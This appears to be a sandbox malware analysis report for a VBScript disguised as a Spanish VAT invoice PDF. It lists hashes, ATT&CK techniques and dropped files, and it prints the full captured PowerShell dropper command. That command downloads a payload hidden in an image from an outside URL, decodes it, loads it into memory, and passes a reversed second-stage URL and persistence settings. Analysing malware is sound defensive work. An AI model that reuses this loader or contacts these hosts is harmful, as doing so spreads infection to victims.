10f4d98c14cd8b1b6815baabe19053b2dd475fe31ba96463e33c4128992397da

Analysis

max time kernel
0s
max time network
124s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
19-12-2024 16:04

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General

Target

Factura de IVA,pdf.vbs
Size

152KB
MD5

4dd53bc42716f9abe36ae85c8ca8ea4b
SHA1

aa44fc15455a5283e6596a4da7ee87ac4e4b8901
SHA256

d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573
SHA512

d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952
SSDEEP

3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2844	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 2844	1852	WScript.exe	30
PID 1852 wrote to memory of 2844	1852	WScript.exe	30
PID 1852 wrote to memory of 2844	1852	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Factura de IVA,pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab827B.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar82AC.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2844-4-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

Filesize
4KB

Download
memory/2844-7-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-6-0x00000000025F0000-0x00000000025F8000-memory.dmp

Filesize
32KB

Download
memory/2844-5-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2844-8-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-9-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-10-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-11-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-46-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download